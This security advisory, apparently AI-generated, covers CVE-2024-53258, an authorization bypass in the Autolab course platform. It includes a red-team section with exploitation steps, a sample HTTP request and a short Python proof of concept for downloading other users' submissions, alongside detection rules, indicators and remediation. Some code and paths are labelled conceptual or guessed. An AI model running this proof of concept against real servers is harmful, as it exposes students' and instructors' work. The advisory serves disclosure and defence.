CVE-2024-53258

Executive Summary

CVE-2024-53258 is an authorization bypass vulnerability in Autolab, a course management service for auto-graded programming assignments. The flaw resides in the download_all_submissions feature, which allows any authenticated student to download all submissions from any other student or instructor test submissions, provided they know the target user's user ID. This is a classic case of Insecure Direct Object Reference (IDOR) (CWE-639). The vulnerability affects Autolab versions 3.0.0 through 3.0.2. The vendor has patched the issue in commit 1aa4c769, but no official release containing the fix has been published as of the advisory date. The only workaround is to disable the feature entirely.

Supply Chain & Package Security

Autolab is a Ruby on Rails application. The vulnerability is in the application logic, not in a third-party package. However, administrators should verify that no malicious code has been injected via compromised dependencies, as the application may be deployed in environments where students have access to the source code.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated student)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High (all submissions exposed)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication but allows a student to exfiltrate all submissions from any other user, including instructor test submissions. This can lead to academic integrity violations and exposure of sensitive grading data.

Deep Dive & Mechanics

The download_all_submissions feature is intended to allow a student to download their own submissions for backup or review. However, the feature does not properly verify that the requested user ID belongs to the authenticated user. Instead, it accepts a user ID parameter (likely passed via a query string or form parameter) and returns all submissions associated with that ID.

Root Cause: The controller action handling the download does not perform an authorization check comparing the requested user ID with the current user's session. This is a classic IDOR vulnerability.

Attack Flow:

1. Attacker logs in as a legitimate student.
2. Attacker enumerates or guesses user IDs of other students or instructors (user IDs are often sequential integers or predictable).
3. Attacker sends a request to the download_all_submissions endpoint with the target user ID.
4. The server returns a ZIP file containing all submissions for that user.
5. Attacker downloads and extracts the submissions.

Impact: Leakage of assignment solutions, instructor test cases, and potentially sensitive grading rubrics.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# app/controllers/submissions_controller.rb
def download_all
  user = User.find(params[:user_id])
  submissions = user.submissions
  # ... zip and send submissions
end

Patched Code (Conceptual):

# app/controllers/submissions_controller.rb
def download_all
  # Ensure the user can only download their own submissions
  unless current_user.id == params[:user_id].to_i
    redirect_to root_path, alert: "You are not authorized to download these submissions."
    return
  end
  user = User.find(params[:user_id])
  submissions = user.submissions
  # ... zip and send submissions
end

The patch adds a simple authorization check comparing current_user.id with the requested user_id. This prevents any user from downloading submissions belonging to another user.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an Autolab instance (version 3.0.0 to 3.0.2).
• Valid student credentials.
• Knowledge of a target user ID (e.g., instructor ID often is 1 or a low number).

Exploitation Steps:

1. Log in to Autolab as a student.
2. Identify the download_all_submissions endpoint. It is typically at /submissions/download_all?user_id=<ID>.
3. Enumerate user IDs (e.g., 1, 2, 3, ...) by observing error messages or timing differences.
4. Send a GET request to the endpoint with the target user ID:

   GET /submissions/download_all?user_id=1 HTTP/1.1
   Host: autolab.example.com
   Cookie: session=<valid_session_cookie>
   

5. The server responds with a ZIP file containing all submissions for user ID 1 (likely an instructor).
6. Extract the ZIP and analyze the submissions.

Proof-of-Concept (Python):

import requests

target_url = "https://autolab.example.com/submissions/download_all"
session_cookie = {"session": "your_session_cookie"}
target_user_id = 1  # Instructor

response = requests.get(target_url, params={"user_id": target_user_id}, cookies=session_cookie)
if response.status_code == 200 and "zip" in response.headers.get("Content-Type", ""):
    with open("submissions.zip", "wb") as f:
        f.write(response.content)
    print("Submissions downloaded successfully.")
else:
    print("Failed to download submissions.")

Blue Team

Detection:

• Monitor for repeated requests to /submissions/download_all with varying user_id parameters from the same session.
• Alert on any download of submissions where the user_id does not match the authenticated user's ID.
• Log all access to the download_all_submissions endpoint and correlate with user sessions.

Hunting:

• Search for logs containing download_all and user_id parameters.
• Look for anomalies such as a single user downloading submissions for multiple different user IDs.
• Check for large ZIP file downloads from the endpoint.

Mitigation:

• Immediately disable the download_all_submissions feature if possible.
• Apply the patch from commit 1aa4c769 manually.
• Restrict access to the endpoint via network segmentation or WAF rules.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /submissions/download_all with a user_id parameter.
  • ZIP file downloads from the Autolab server.
• Logs:
  • Repeated 200 responses from /submissions/download_all for different user_id values from the same session.
  • Access logs showing a single user downloading submissions for multiple users.
• File System:
  • Unexpected ZIP files containing submissions from other users.
• User Behavior:
  • A student account downloading submissions for an instructor or other students.

Detection Engineering

YARA Rule

rule CVE_2024_53258_Autolab_IDOR {
    meta:
        description = "Detects exploitation attempts of CVE-2024-53258 in Autolab logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-53258"
    strings:
        $endpoint = "/submissions/download_all"
        $user_id_param = "user_id="
    condition:
        $endpoint and $user_id_param
}

Sigma Rule

title: Autolab IDOR Exploitation - Download All Submissions
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-53258 by requesting download_all_submissions for a different user.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "/submissions/download_all?user_id="
    condition: selection
falsepositives:
    - Legitimate use by administrators (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-53258 Autolab IDOR Exploitation"; flow:to_server; content:"/submissions/download_all"; http_uri; content:"user_id="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the feature: In the Autolab configuration, disable the download_all_submissions feature. This can be done by removing or commenting out the route in config/routes.rb or by setting a feature flag.
2. Apply the patch: Manually apply the changes from commit 1aa4c769 to the submissions_controller.rb file.
3. Restrict access: Use a Web Application Firewall (WAF) to block requests to /submissions/download_all with a user_id parameter that does not match the session user.

Long-Term Fix:

• Upgrade to Autolab version 3.0.3 once it is released.
• Implement proper authorization checks for all endpoints that access user-specific data.
• Conduct a security audit of the entire application to identify similar IDOR vulnerabilities.

Workaround:

• If patching is not immediately possible, disable the feature entirely. This will prevent all users from downloading submissions, but it eliminates the vulnerability.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.